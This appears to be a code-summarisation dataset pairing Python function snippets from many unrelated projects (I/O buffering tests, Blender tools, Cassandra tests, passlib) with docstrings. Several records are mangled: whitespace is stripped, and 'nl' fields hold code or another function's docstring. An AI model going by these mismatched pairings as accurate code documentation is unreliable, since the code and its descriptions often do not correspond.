b\"A\")self.assertEqual(bufio.tell(), 1)# Overwriting should rewind the raw stream if it needs sobufio.write(b\"B\" * overwrite_size)self.assertEqual(bufio.tell(), overwrite_size + 1)# If the write size was smaller than the buffer size, flush() and# check that rewind happens.bufio.flush()self.assertEqual(bufio.tell(), overwrite_size + 1)s = raw.getvalue()self.assertEqual(s,b\"A\" + b\"B\" * overwrite_size + b\"A\" * (9 - overwrite_size))def test_write_rewind_write(self):# Various combinations of reading / writing / seeking backwards / writing againdef mutate(bufio, pos1, pos2):assert pos2 >= pos1# Fill the bufferbufio.seek(pos1)bufio.read(pos2 - pos1)bufio.write(b'\\x02')# This writes earlier than the previous write, but still inside# the buffer.bufio.seek(pos1)bufio.write(b'\\x01')b = b\"\\x80\\x81\\x82\\x83\\x84\"for i in range(0, len(b)):for j in range(i, len(b)):raw = self.BytesIO(b)bufio = self.tp(raw, 100)mutate(bufio, i, j)bufio.flush()expected = bytearray(b)expected[j] = 2expected[i] = 1self.assertEqual(raw.getvalue(), expected,\"failed result for i=%d, j=%d\" % (i, j))def test_truncate_after_read_or_write(self):raw = self.BytesIO(b\"A\" * 10)bufio = self.tp(raw, 100)self.assertEqual(bufio.read(2), b\"AA\") # the read buffer gets filledself.assertEqual(bufio.truncate(), 2)self.assertEqual(bufio.write(b\"BB\"), 2) # the write buffer increasesself.assertEqual(bufio.truncate(), 4)def test_misbehaved_io(self):BufferedReaderTest.test_misbehaved_io(self)BufferedWriterTest.test_misbehaved_io(self)def test_interleaved_read_write(self):# Test for issue #12213with self.BytesIO(b'abcdefgh') as raw:with self.tp(raw, 100) as f:f.write(b\"1\")self.assertEqual(f.read(1), b'b')f.write(b'2')self.assertEqual(f.read1(1), b'd')f.write(b'3')buf = bytearray(1)f.readinto(buf)self.assertEqual(buf, b'f')f.write(b'4')self.assertEqual(f.peek(1), b'h')f.flush()self.assertEqual(raw.getvalue(), b'1b2d3f4h')with self.BytesIO(b'abc') as raw:with self.tp(raw, 100) as f:self.assertEqual(f.read(1), b'a')f.write(b\"2\")self.assertEqual(f.read(1), b'c')f.flush()self.assertEqual(raw.getvalue(), b'a2c')def test_interleaved_readline_write(self):with self.BytesIO(b'ab\\ncdef\\ng\\n') as raw:with self.tp(raw) as f:f.write(b'1')self.assertEqual(f.readline(), b'b\\n')f.write(b'2')self.assertEqual(f.readline(), b'def\\n')f.write(b'3')self.assertEqual(f.readline(), b'\\n')f.flush()self.assertEqual(raw.getvalue(), b'1b\\n2def\\n3\\n')class CBufferedRandomTest(CBufferedReaderTest, CBufferedWriterTest,BufferedRandomTest, SizeofTest):tp = io.BufferedRandomdef test_constructor(self):BufferedRandomTest.test_constructor(self)# The allocation can succeed on 32-bit builds, e.g. with more# than 2GB RAM and a 64-bit kernel.if sys.maxsize > 0x7FFFFFFF:rawio = self.MockRawIO()bufio = self.tp(rawio)self.assertRaises((OverflowError, MemoryError, ValueError),bufio.__init__, rawio, sys.maxsize)def test_garbage_collection(self):CBufferedReaderTest.test_garbage_collection(self)CBufferedWriterTest.test_garbage_collection(self)@support.impl_detail(cpython=True)def test_args_error(self):# Issue #17275with self.assertRaisesRegexp(TypeError, \"BufferedRandom\"):self.tp(io.BytesIO(), 1024, 1024, 1024)class PyBufferedRandomTest(BufferedRandomTest):tp = pyio.BufferedRandom# To fully exercise seek/tell, the StatefulIncrementalDecoder has these# properties:# - A single output character can correspond to many bytes of input.# - The number of input bytes to complete the character can be# undetermined until the last input byte is received.# - The number of input bytes can vary depending on previous input.# - A single input byte can correspond to many characters of output.# - The number of output characters can be undetermined until the# last input byte is received.# - The number of output characters can vary depending on previous input.class StatefulIncrementalDecoder(codecs.IncrementalDecoder):"} {"code": "def write(self, string):\n self.section = 0\n", "nl": "write a string in the output bufferself.out.write(string)def begin_format(self):begin to format a layout"} {"code": "def test_mseed_zero_data_headonly(self):\n file = os.path.join(self.path, \"data\",\n \"three_records_zero_data_in_middle.mseed\")\n\n expected = [\n (\"BW.BGLD..EHE\", UTCDateTime(\"2007-12-31T23:59:59.765000Z\"),\n UTCDateTime(\"2008-01-01T00:00:01.820000Z\"), 200.0, 412),\n (\"BW.BGLD..EHE\", UTCDateTime(\"2008-01-01T00:00:01.825000Z\"),\n UTCDateTime(\"2008-01-01T00:00:01.825000Z\"), 200.0, 0),\n (\"BW.BGLD..EHE\", UTCDateTime(\"2008-01-01T00:00:03.885000Z\"),\n UTCDateTime(\"2008-01-01T00:00:05.940000Z\"), 200.0, 412)]\n\n st = read(file)\n self.assertEqual(len(st), 3)\n for tr, exp in zip(st, expected):\n self.assertEqual(tr.id, exp[0])\n self.assertEqual(tr.stats.starttime, exp[1])\n self.assertEqual(tr.stats.endtime, exp[2])\n self.assertEqual(tr.stats.sampling_rate, exp[3])\n self.assertEqual(tr.stats.npts, exp[4])\n\n st = read(file, headonly=True)\n self.assertEqual(len(st), 3)\n for tr, exp in zip(st, expected):\n self.assertEqual(tr.id, exp[0])\n self.assertEqual(tr.stats.starttime, exp[1])\n self.assertEqual(tr.stats.endtime, exp[2])\n self.assertEqual(tr.stats.sampling_rate, exp[3])\n self.assertEqual(tr.stats.npts, exp[4])\n", "nl": "Tests that records with no data correctly work in headonly mode."} {"code": "def getAdminList(self, roomJID):\n return self._getAffiliationList(roomJID, 'admin')\n\n", "nl": "Get the admin list of a room.@param roomJID: The bare JID of the room.@type roomJID: L{JID}"} {"code": "def prefer_url(self, url1, url2):\n result = url2\n if url1:\n s1 = self.score_url(url1)\n s2 = self.score_url(url2)\n if s1 > s2:\n result = url1\n if result != url2:\n logger.debug('Not replacing %r with %r', url1, url2)\n else:\n logger.debug('Replacing %r with %r', url1, url2)\n return result\n", "nl": "Choose one of two URLs where both are candidates for distributionarchives for the same version of a distribution (for example,.tar.gz vs. zip).The current implementation favours https:// URLs over http://, archivesfrom PyPI over those from other locations, wheel compatibility (if awheel) and then the archive name."} {"code": "def extend_vertex(context):\n\n obj = bpy.context.edit_object\n pg = context.scene.pdt_pg\n\n if all([bool(obj), obj.type == \"MESH\", obj.mode == \"EDIT\"]):\n object_data = obj.data\n bm = bmesh.from_edit_mesh(object_data)\n verts = bm.verts\n faces = bm.faces\n\n planes = [f for f in faces if f.select]\n if not len(planes) == 1:\n failure_message(context)\n return\n\n plane = planes[0]\n plane_vert_indices = plane.verts[:]\n all_selected_vert_indices = [v for v in verts if v.select]\n\n plane_verts = set(plane_vert_indices)\n all_verts = set(all_selected_vert_indices)\n diff_verts = all_verts.difference(plane_verts)\n diff_verts = list(diff_verts)\n\n if not len(diff_verts) == 2:\n failure_message(context)\n return\n\n (v1_ref, v1), (v2_ref, v2) = [(i, i.co) for i in diff_verts]\n\n plane_co = plane.calc_center_median()\n plane_no = plane.normal\n\n new_co = intersect_line_plane(v1, v2, plane_co, plane_no, False)\n\n if new_co:\n new_vertex = verts.new(new_co)\n a_len = (v1 - new_co).length\n b_len = (v2 - new_co).length\n\n vertex_reference = v1_ref if (a_len < b_len) else v2_ref\n bm.edges.new([vertex_reference, new_vertex])\n bmesh.update_edit_mesh(object_data, loop_triangles=True)\n\n else:\n failure_message_on_plane(context)\n else:\n pg.error = f\"{PDT_ERR_EDOB_MODE},{obj.mode})\"\n context.window_manager.popup_menu(oops, title=\"Error\", icon=\"ERROR\")\n return\n\n\nclass PDT_OT_EdgeToFace(bpy.types.Operator):\n \"\"\"Extend Selected Edge to Projected Intersection with Selected Face\"\"\"", "nl": "Computes Edge Extension to Face.Args:context: Blender bpy.context instance.Returns:Nothing."} {"code": "def serialize(self, serialization_format: ProtoSerializationFormat):\n self._operators.append(\n _ProtoOperator(serialization_format=serialization_format))\n return self\n\n\nclass ExecPropertyPlaceholder(_ProtoAccessiblePlaceholder):\n \"\"\"ExecProperty Placeholder represents an execution property.\n", "nl": "Serialize the proto-valued placeholder using the provided scheme.Args:serialization_format: The format of how the proto is serialized.Returns:A placeholder that when rendered is serialized with the scheme."} {"code": "def fillTowWord(self, wordBits, tow):\n wordBits[0:17] = self.getBits(tow, 17)\n wordBits[17] = 0\n wordBits[18] = 0\n wordBits[19:22] = self.getBits(0, 3)\n return\n", "nl": "Fills in TOW word contents.Parameters----------wordBits : numpy.ndarray(shape=30, type=numpy.uint8)Destination array"} {"code": "def tag_helper(tag, items, locked=True, remove=False):\n the the following locations for a username and password. This is\n useful to create user-friendly command line tools.\n 1. command-line options (opts).\n 2. environment variables and config.ini\n 3. Prompt on the command line.\n \"\"\"", "nl": " Simple tag helper for editing a object. if not isinstance(items, list):items = [items]data = {}if not remove:for i, item in enumerate(items):tagname = '%s[%s].tag.tag' % (tag, i)data[tagname] = itemif remove:tagname = '%s[].tag.tag-' % tagdata[tagname] = ','.join(items)data['%s.locked' % tag] = 1 if locked else 0return datadef getMyPlexAccount(opts=None): # pragma: no cover Helper function tries to get a MyPlex Account instance by checking"} {"code": "def abortedcompaction_test(self):\n log_file_name = 'debug.log'\n cluster = self.cluster\n cluster.populate(1).start(wait_for_binary_proto=True)\n node = cluster.nodelist()[0]\n\n numrecords = 250000\n\n self._create_data(node, KeyspaceName, TableName, numrecords)\n finalfiles, tmpfiles = self._check_files(node, KeyspaceName, TableName)\n self.assertTrue(len(finalfiles) > 0, \"Expected to find some final files\")\n self.assertEqual(0, len(tmpfiles), \"Expected no tmp files\")\n\n t = InterruptCompaction(node, TableName, filename=log_file_name, delay=2)\n t.start()\n\n try:\n debug(\"Compacting...\")\n node.compact()\n except ToolError:\n pass\n\n t.join()\n\n finalfiles = _normcase_all(self._invoke_sstableutil(KeyspaceName, TableName, type='final'))\n tmpfiles = _normcase_all(self._invoke_sstableutil(KeyspaceName, TableName, type='tmp'))\n\n debug(\"Got {} final files and {} tmp files after compaction was interrupted\"\n .format(len(finalfiles), len(tmpfiles)))\n\n self._invoke_sstableutil(KeyspaceName, TableName, cleanup=True)\n\n self._check_files(node, KeyspaceName, TableName, finalfiles, [])\n\n debug(\"Restarting node...\")\n node.start(wait_for_binary_proto=True)\n node.wait_for_compactions()\n\n finalfiles, tmpfiles = self._check_files(node, KeyspaceName, TableName)\n self.assertEqual(0, len(tmpfiles))\n\n debug(\"Running stress to ensure data is readable\")\n self._read_data(node, numrecords)\n", "nl": "@jira_ticket CASSANDRA-7066@jira_ticket CASSANDRA-11497Check that we can cleanup temporary files after a compaction is aborted."} {"code": "def raw_data_to_tfrecord(item):\n\n input_vocab, target_vocab = get_vocabularies(data_dir)\n input_tokenizer = Tokenizer(input_vocab, max_seq_len=max_seq_len)\n target_tokenizer = Tokenizer(target_vocab, max_seq_len=max_target_seq_len)\n", "nl": "Process data into TFRecord compatible format to prepare for writing.image = tf.io.serialize_tensor(tf.convert_to_tensor(item['image'])).numpy()context_features = {'index': get_int64_feature([item['index']]),'token': get_int64_feature(item['token']),'txt_mask': get_int64_feature(item['txt_mask']),'target_token': get_int64_feature(item['target_token']),'target_txt_mask': get_int64_feature(item['target_txt_mask']),'image': get_bytes_feature([image]),}ex = tf.train.Example(features=tf.train.Features(feature=context_features))return exdef process_data(data_dir,output_path,split,max_seq_len=10,max_target_seq_len=105,k=0,k_split='adverb_1'):Process the raw data."} {"code": "def get_train_examples(self, data_dir):\n return self._create_examples(\n self._read_tsv(os.path.join(data_dir, \"dev.tsv\")), \"dev\")\n", "nl": "See base class.return self._create_examples(self._read_tsv(os.path.join(data_dir, \"train.tsv\")), \"train\")def get_dev_examples(self, data_dir):See base class."} {"code": "def _get_entity_mappings(query_list: ProcessedQueryList) -> Dict:\n entity_labels = set()\n logger.info(\"Generating Entity Labels...\")\n for d, i, entities in zip(\n query_list.domains(), query_list.intents(), query_list.entities()\n ):\n if len(entities):\n for entity in entities:\n e = str(entity.entity.type)\n entity_labels.add(f\"{d}.{i}.B|{e}\")\n entity_labels.add(f\"{d}.{i}.I|{e}\")\n entity_labels.add(f\"{d}.{i}.S|{e}\")\n entity_labels.add(f\"{d}.{i}.E|{e}\")\n\n e = \"O|\"\n entity_labels.add(f\"{d}.{i}.{e}\")\n\n entity_labels = sorted(list(entity_labels))\n return dict(zip(entity_labels, range(len(entity_labels))))\n\n @staticmethod", "nl": "Generates index mapping for entity labels in an application.Supports both BIO and BIOES tag schemes.Args:query_list (ProcessedQueryList): Data structure containing a list of processed queries.Returns:Dictionary mapping entity tags to index in entity vector."} {"code": "def refresh_topics(self):\n self._retry_cmd(cmd=\"reload\")\n", "nl": "Cause the server to refresh article topic vectors from the databaseself._retry_cmd(cmd=\"refresh\")def reload_topics(self):Cause the server to reload article topic vectors from the database"} {"code": "def add_to_nengo(self):\n try:\n import ca.nengo.ui.NengoGraphics\n ng=ca.nengo.ui.NengoGraphics.getInstance()\n if ng is not None:\n world=ca.nengo.ui.util.ScriptWorldWrapper(ng)\n n=world.getNode(self.network.name)\n if n is not None: world.remove(n)\n world.add(self.network)\n except:\n pass\n\n", "nl": "Add the network to the Nengo user interface. If there is no user interface(i.e. if Nengo is being run via the command line only interface ``nengo-cl``),then do nothing."} {"code": "def _normalize_newlines(self, value):\n \"\"\"", "nl": "Called for strings and template data to normalize it to unicode.return newline_re.sub(self.newline_sequence, value)def tokenize(self, source, name=None, filename=None, state=None):Calls tokeniter + tokenize and wraps it in a token stream."} {"code": "def ns_value(self) -> Optional[List[str]]:\n return self.get(\"NS\")\n\n @property", "nl": "An attribute of type Number SetExample:>>> {\"NS\": [\"42.2\", \"-19\", \"7.5\", \"3.14\"]}"} {"code": "def forward(self, images, features, proposals, targets=None):\n num_branch = self.num_branch if self.training or not self.trident_fast else 1\n all_targets = targets * num_branch if targets is not None else None\n pred_instances, losses = super().forward(images, features, proposals, all_targets)\n del images, all_targets, targets\n\n if self.training:\n return pred_instances, losses\n else:\n pred_instances = merge_branch_instances(\n pred_instances, num_branch, self.test_nms_thresh, self.test_detections_per_img\n )\n\n return pred_instances, {}\n\n\n@ROI_HEADS_REGISTRY.register()\nclass TridentStandardROIHeads(StandardROIHeads):\n \"\"\"\n", "nl": "See :class:`Res5ROIHeads.forward`."} {"code": "def __init__(self, publishers, params):\n super().__init__(publishers, params)\n\n self.gpio_mode = set_gpio_mode(params, self.log)\n\n self.pin = int(params(\"Pin\"))\n self.destination = params(\"Destination\")\n\n self.values = parse_values(params, [\"CLOSED\", \"OPEN\"])\n\n self.log.debug(\"Configured %s for CLOSED and %s for OPEN\", self.values[0], self.values[1])\n\n pud = GPIO.PUD_UP if params(\"PUD\") == \"UP\" else GPIO.PUD_DOWN\n try:\n GPIO.setup(self.pin, GPIO.IN, pull_up_down=pud)\n except ValueError as err:\n self.log.error(\"Could not setup GPIO Pin %d (%s), destination %s. \"\n \"Make sure the pin number is correct. Error Message: %s\",\n self.pin, self.gpio_mode, self.destination, err)\n\n try:\n event_detection = params(\"EventDetection\")\n event_map = {\"RISING\": GPIO.RISING, \"FALLING\": GPIO.FALLING, \"BOTH\": GPIO.BOTH}\n if event_detection not in event_map:\n self.log.error(\"Invalid event detection specified: %s, one of RISING,\"\n \" FALLING, BOTH or NONE are the only allowed values. \"\n \"Defaulting to NONE\",\n event_detection)\n event_detection = \"NONE\"\n except NoOptionError:\n self.log.info(\"No event detection specified, falling back to polling\")\n event_detection = \"NONE\"\n\n if event_detection != \"NONE\":\n GPIO.add_event_detect(self.pin, event_map[event_detection],\n callback=lambda channel: self.check_state())\n\n self.state = GPIO.input(self.pin)\n\n if self.poll < 0 and event_detection == \"NONE\":\n raise ValueError(\"Event detection is NONE but polling is OFF\")\n if self.poll > 0 and event_detection != \"NONE\":\n raise ValueError(\"Event detection is {} but polling is {}\"\n .format(event_detection, self.poll))\n\n self.btn = ButtonPressCfg(params, self.log, pud)\n\n self.log.info(\"Configued RpiGpioSensor: pin %d (%s) on destination %s with PUD %s\",\n self.pin, self.gpio_mode, self.destination,\n \"UP\" if pud == GPIO.PUD_UP else \"DOWN\")\n\n self.publish_state()\n", "nl": "Initializes the connection to the GPIO pin and if \"EventDetection\"if defined and valid, will subscibe fo events. If missing, than itrequires the \"Poll\" parameter be defined and > 0. By default it willpublish CLOSED/OPEN for 0/1 which can be overridden by the \"Values\" whichshould be a comma separated list of two paameters, the first one isCLOSED and second one is OPEN.Parameters:- \"Pin\": the IO pin in BCM/BOARD numbering- \"Values\": Alternative values to publish for 0 and 1, defaults toCLOSED and OPEN for 0 and 1 respectively.- \"PUD\": Pull up or down setting, if \"UP\" uses PULL_UP, all othervalues result in PULL_DOWN.- \"EventDetection\": when set instead of depending on sensor_reporterto poll it will reliy on the event detection built into the GPIOlibrary. Valid values are \"RISING\", \"FALLING\" and \"BOTH\". When notdefined \"Poll\" must be set to a positive value."} {"code": "def test_supportedTigetNumErrors(self):\n class fakecurses(object):\n error = RuntimeError\n setUp = 0\n", "nl": "L{reporter._AnsiColorizer.supported} returns C{False} ifC{curses.tigetnum} raises an error, and calls C{curses.setupterm} once."} {"code": "def test_flop_2():\n url = url_for(flop=True, height=200, image_url=IMAGE_URL)\n\n expect(url).to_equal(\"0x-200/84996242f65a4d864aceb125e1c4c5ba\")\n\n", "nl": "test_flop_2GivenAn image URL of \"my.server.com/some/path/to/image.jpg\"And a height of 200And the flop flagWhenI ask my library for an URLThenI get \"0x-200/84996242f65a4d864aceb125e1c4c5ba\" as URL"} {"code": "def GetGridPen(self):\n return self.gridPen\n", "nl": "Return the pen used to draw a grid in this format"} {"code": "def wait(self):\n self.event.set()\n", "nl": "Wait for thread event to be performed.self.event.wait()self.event.clear()def resume(self):Resume receiving events."} {"code": "def sound_mode_list(self) -> List[str]:\n return self.soundmode.sound_mode_map\n\n @property", "nl": "Return a list of available sound modes as string.return self.soundmode.sound_mode_list@propertydef sound_mode_map(self) -> Dict[str, str]:Return a dict of available sound modes with their mapping values."} {"code": "def getSoundFileDuration(fn):\n audiofile = wave.open(fn, \"r\")\n\n params = audiofile.getparams()\n framerate = params[2]\n nframes = params[3]\n\n duration = float(nframes) / framerate\n return duration\n\n", "nl": "Returns the duration of a wav file (in seconds)"} {"code": "def before_update(self, mapper, connection, target):\n", "nl": "Receive an object instance before an UPDATE statementis emitted corresponding to that instance.This event is used to modify local, non-object relatedattributes on the instance before an UPDATE occurs, as wellas to emit additional SQL statements on the givenconnection.This method is called for all instances that aremarked as \"dirty\", *even those which have no net changesto their column-based attributes*. An object is markedas dirty when any of its column-based attributes have a\"set attribute\" operation called or when any of itscollections are modified. If, at update time, nocolumn-based attributes have any net changes, no UPDATEstatement will be issued. This means that an instancebeing sent to :meth:`~.MapperEvents.before_update` is*not* a guarantee that an UPDATE statement will beissued, although you can affect the outcome here bymodifying attributes so that a net change in value doesexist.To detect if the column-based attributes on the object have netchanges, and will therefore generate an UPDATE statement, use``object_session(instance).is_modified(instance,include_collections=False)``.The event is often called for a batch of objects of thesame class before their UPDATE statements are emitted atonce in a later step. In the extremely rare case thatthis is not desirable, the :func:`.mapper` can beconfigured with ``batch=False``, which will causebatches of instances to be broken up into individual(and more poorly performing) event->persist->eventsteps... warning::Mapper-level flush events only allow **very limited operations**,on attributes local to the row being operated upon only,as well as allowing any SQL to be emitted on the given:class:`_engine.Connection`. **Please read fully** the notesat :ref:`session_persistence_mapper` for guidelines on usingthese methods; generally, the :meth:`.SessionEvents.before_flush`method should be preferred for general on-flush changes.:param mapper: the :class:`_orm.Mapper` which is the targetof this event.:param connection: the :class:`_engine.Connection` being used toemit UPDATE statements for this instance. Thisprovides a handle into the current transaction on thetarget database specific to this instance.:param target: the mapped instance being persisted. Ifthe event is configured with ``raw=True``, this willinstead be the :class:`.InstanceState` state-managementobject associated with the instance.:return: No return value is supported by this event... seealso:::ref:`session_persistence_events`"} {"code": "def __init__(self, name, p, tracked=True):\n p = self._prepare_parameter(name, 'p', p)\n log_p = DeterministicTransformPrior('_log_{}'.format(p.name),\n lambda p: jnp.stack([jnp.log(1. - p), jnp.log(p)], axis=-1),\n p, tracked=False)\n super(BernoulliPrior, self).__init__(name, log_p, tracked)\n\n\nclass GumbelCategoricalPrior(DeterministicTransformPrior):\n @prior_docstring", "nl": "Bernoulli distribution, using the GumbelMax trick.Y ~ B[p]Args:p: prob of the event"} {"code": "def login_user(user):\n\n if has_request_context():\n session['user_id'] = user.id\n\n g.current_user = user\n\n", "nl": "Add the user to the session.:param user: user instance to log in"} {"code": "def _map_parallel(function, args, n_jobs):\n Model described in Stan's modeling language compiled from C++ code.\n\n Instances of StanModel are typically created indirectly by the functions\n `stan` and `stanc`.\n\n Parameters\n ----------\n file : string {'filename', 'file'}\n If filename, the string passed as an argument is expected to\n be a filename containing the Stan model specification.\n\n If file, the object passed must have a 'read' method (file-like\n object) that is called to fetch the Stan model specification.\n", "nl": "multiprocessing.Pool(processors=n_jobs).map with some error checking# Following the error checking found in joblibmultiprocessing = int(os.environ.get('JOBLIB_MULTIPROCESSING', 1)) or Noneif multiprocessing:try:import multiprocessingimport multiprocessing.poolexcept ImportError:multiprocessing = Noneif sys.platform.startswith(\"win\") and PY2:msg = 'Multiprocessing is not supported on Windows with Python 2.X. Setting n_jobs=1'logger.warning(msg)n_jobs = 1# 2nd stage: validate that locking is available on the system and# issue a warning if notif multiprocessing:try:_sem = multiprocessing.Semaphore()del _sem # cleanupexcept (ImportError, OSError) as e:multiprocessing = Nonelogger.warning('{}. _map_parallel will operate in serial mode'.format(e))if multiprocessing and int(n_jobs) not in (0, 1):if n_jobs == -1:n_jobs = Nonetry:pool = multiprocessing.Pool(processes=n_jobs)map_result = pool.map(function, args)finally:pool.close()pool.join()else:map_result = list(map(function, args))return map_result# NOTE: StanModel instance stores references to a compiled, uninstantiated# C++ model.@implements_to_stringclass StanModel:"} {"code": "def frozen_bn_stats(model):\n for m in model.modules():\n if isinstance(m, nn.BatchNorm3d):\n m.eval()\n\n", "nl": "Set all the bn layers to eval mode.Args:model (model): model to set bn layers to eval mode."} {"code": "def drop_and_bounce(t, bounces=2, energy_conserved=0.4):\n slices = 2 * bounces + 1\n slice_duration = 1/slices\n slice_specs = []\n for s in range(slices):\n if t <= (s + 1) * slice_duration:\n slice_t = (t - s * slice_duration)/slice_duration\n height = energy_conserved**(math.ceil(s/2))\n if s % 2 == 0:\n return (1-height) + Scripter._cubic('easeIn', slice_t) * height\n else:\n return 1 - Scripter._cubic('easeOut', slice_t) * height\n return 1\n\n\nif __name__ == '__main__':\n\n import editor\n\n class DemoBackground(View):\n", "nl": "Easing function that can be used to simulate something that is dropped and bounces a fewtimes.Optional arguments:* `bounces` - how many times the value bounces before settling at target* `energy_conserved` - how high each bounce is compared to the previous bounce"} {"code": "def pre_populate(self, value: str) -> None:\n self.conditional_validation(str(value))\n", "nl": "Prepopulate this text input with a value.This is different from a defaultin that it will populate the text input field.:param value: Item to populate the input field"} {"code": "def fuse_step(optimizer: torch.optim.Optimizer, closure=None):\n\n assert is_fused_optimizer(\n optimizer\n ), \"Should init fused optimizer by calling `fuse_optimizer`.\"\n\n do_fuse(optimizer)\n optimizer._bagua_fused_optimizer.step(closure)\n check_optimizer(optimizer)\n sync_optimizer_state(optimizer)\n\n", "nl": "rPerform a fused parameter update.This operation will fuse multiple contiguous parameters into a fused parameter, by creating a tensorview sharing the same underlying storage with them, and then perform parameter update on fused parameters.If none of the parameter tensors are contiguous, this operation is equivalent to :meth:`step`.Args:optimizer: A fused optimizer.closure (Callable): A closure that reevaluates the model andreturns the loss. Optional for most optimizers... note::This function will not modify the storage of parameter tensors."} {"code": "def collect(self, pf):\n return super(FcnDef, self).collect(pf) + \\\n titus.util.flatten(x.collect(pf) for x in self.body)\n", "nl": "Walk over tree applying a partial function, returning a list of results in its domain.:type pf: callable with ``isDefinedAt`` method:param pf: partial function that takes any titus.pfaast.Ast as an argument, returning anything:type pf.isDefinedAt: callable:param pf.isDefinedAt: domain that takes any titus.pfaast.Ast as an argument, returning ``True`` if this item is in the domain, ``False`` otherwise:rtype: list of function results:return: a result for each abstract syntax tree node in the ``pf`` function's domain"} {"code": "def __rmul__(self, other):\n return multiply(other, self)\n", "nl": "Multiply other by self, and return a new masked array."} {"code": "def __del__(self) -> None:\n try:\n if self.is_alive()[\"is_alive\"]:\n self.close()\n except Exception:\n pass\n", "nl": "This method is used to cleanup when the program is terminated suddenly.We need to make sure the connection is closed properly and the configuration DBis released (unlocked)."} {"code": "def assert_string_list(dist, attr, value):\n ns_packages = value\n assert_string_list(dist, attr, ns_packages)\n for nsp in ns_packages:\n if not dist.has_contents_for(nsp):\n raise DistutilsSetupError(\n \"Distribution contains no modules or packages for \" +\n \"namespace package %r\" % nsp\n )\n parent, sep, child = nsp.rpartition('.')\n if parent and parent not in ns_packages:\n distutils.log.warn(\n \"WARNING: %r is declared as a package namespace, but %r\"\n \" is not: please correct this in setup.py\", nsp, parent\n )\n\n", "nl": "Verify that value is a string list or Nonetry:assert ''.join(value) != valueexcept (TypeError, ValueError, AttributeError, AssertionError):raise DistutilsSetupError(\"%r must be a list of strings (got %r)\" % (attr, value))def check_nsp(dist, attr, value):Verify that namespace packages are valid"} {"code": "def exitReward(self):\n self.notify.debug(\"----- exitReward\")\n intervalName = \"RewardMovie\"\n self.clearInterval(intervalName)\n\n self.unstash()\n self.rewardPanel.destroy()\n del self.rewardPanel\n\n\n self.battleThreeMusicTime = 0\n self.battleThreeMusic.stop()\n\n", "nl": "Exit this state. do cleanup"} {"code": "def set(self, **kwattrs):\n mapping = dict(renderer='_renderer',\n readonly='_readonly',\n null_as='_null_option',\n label='label_text')\n for attr,value in kwattrs.items():\n if attr == 'validate':\n self.validators.append(value)\n elif attr == 'validators':\n self.validators.extend(value)\n elif attr == 'metadata':\n self.metadata.update(value)\n elif attr == 'html':\n self.html_options.update(value)\n elif attr == 'instructions':\n self.metadata['instructions'] = value\n elif attr == 'required':\n if value:\n if validators.required not in self.validators:\n self.validators.append(validators.required)\n else:\n if validators.required in self.validators:\n self.validators.remove(validators.required)\n elif attr == 'hidden':\n if isinstance(self.type, fatypes.Date):\n renderer = HiddenDateFieldRenderer\n elif isinstance(self.type, fatypes.Time):\n renderer = HiddenTimeFieldRenderer\n elif isinstance(self.type, fatypes.DateTime):\n renderer = HiddenDateTimeFieldRenderer\n else:\n renderer = HiddenFieldRenderer\n self._renderer = renderer\n elif attr == 'attrs':\n self.render_opts.update(value)\n elif attr in mapping:\n attr = mapping.get(attr)\n setattr(self, attr, value)\n elif attr in ('multiple', 'options', 'size'):\n if attr == 'options' and value is not None:\n value = _normalized_options(value)\n self.render_opts[attr] = value\n else:\n raise ValueError('Invalid argument %s' % attr)\n return self\n", "nl": "Sets different properties on the Field object. In contrast to theother methods that tweak a Field, this one changes thingIN-PLACE, without creating a new object and returning it.This is the behavior for the other methods like ``readonly()``,``required()``, ``with_html()``, ``with_metadata``,``with_renderer()``, ``with_null_as()``, ``label()``,``hidden()``, ``validate()``, etc...Allowed attributes are:* ``validate`` - append one single validator* ``validators`` - appends a list of validators* ``renderer`` - sets the renderer used (``.with_renderer(val)``equiv.)* ``hidden`` - marks a field as hidden (changes the renderer)* ``required`` - adds the default 'required' validator to the field* ``readonly`` - sets the readonly attribute (``.readonly(val)``equiv.)* ``null_as`` - sets the 'null_as' attribute (``.with_null_as(val)``equiv.)* ``label`` - sets the label (``.label(val)`` equiv.)* ``multiple`` - marks the field as a multi-select (used by somerenderers)* ``options`` - sets `.render_opts['options']` (for selects and similarfields, used by some renderers)* ``size`` - sets render_opts['size'] with this val (normally anattribute to ``textarea()``, ``dropdown()``, used by some renderers)* ``instructions`` - shortcut to update `metadata['instructions']`* ``metadata`` - dictionary that `updates` the ``.metadata`` attribute* ``html`` - dictionary that updates the ``.html_options`` attribute(``.with_html()`` equiv.)NOTE: everything in ``.render_opts``, updated with everything in``.html_options`` will be passed as keyword arguments to the `render()`function of the Renderer set for the field.Example::>>> field = Field('myfield')>>> field.set(label='My field', renderer=SelectFieldRenderer,... options=[('Value', 1)],... validators=[lambda x: x, lambda y: y])Field(myfield)>>> field.label_text'My field'>>> field.renderer"} {"code": "def test_lookup_hash_ctor(self):\n\n from passlib.crypto.digest import lookup_hash\n\n info = lookup_hash(\"sha256\")\n self.assertEqual(info.name, \"sha256\")\n self.assertEqual(info.iana_name, \"sha-256\")\n self.assertEqual(info.block_size, 64)\n self.assertEqual(info.digest_size, 32)\n self.assertIs(lookup_hash(\"SHA2-256\"), info)\n\n info = lookup_hash(\"md5\")\n self.assertEqual(info.name, \"md5\")\n self.assertEqual(info.iana_name, \"md5\")\n self.assertEqual(info.block_size, 64)\n self.assertEqual(info.digest_size, 16)\n", "nl": "lookup_hash() -- constructorfrom passlib.crypto.digest import lookup_hash# invalid/unknown names should be rejectedself.assertRaises(ValueError, lookup_hash, \"new\")self.assertRaises(ValueError, lookup_hash, \"__name__\")self.assertRaises(ValueError, lookup_hash, \"sha4\")# 1. should return hashlib builtin if foundself.assertEqual(lookup_hash(\"md5\"), (hashlib.md5, 16, 64))# 2. should return wrapper around hashlib.new() if foundtry:hashlib.new(\"sha\")has_sha = Trueexcept ValueError:has_sha = Falseif has_sha:record = lookup_hash(\"sha\")const = record[0]self.assertEqual(record, (const, 20, 64))self.assertEqual(hexlify(const(b\"abc\").digest()),b\"0164b8a914cd2a5e74c4f7ff082c4d97f1edf880\")else:self.assertRaises(ValueError, lookup_hash, \"sha\")# 3. should fall back to builtin md4try:hashlib.new(\"md4\")has_md4 = Trueexcept ValueError:has_md4 = Falserecord = lookup_hash(\"md4\")const = record[0]if not has_md4:from passlib.crypto._md4 import md4self.assertIs(const, md4)self.assertEqual(record, (const, 16, 64))self.assertEqual(hexlify(const(b\"abc\").digest()),b\"a448017aaf21d8525fc10ae87aa6729d\")# 4. unknown names should be rejectedself.assertRaises(ValueError, lookup_hash, \"xxx256\")# should memoize recordsself.assertIs(lookup_hash(\"md5\"), lookup_hash(\"md5\"))def 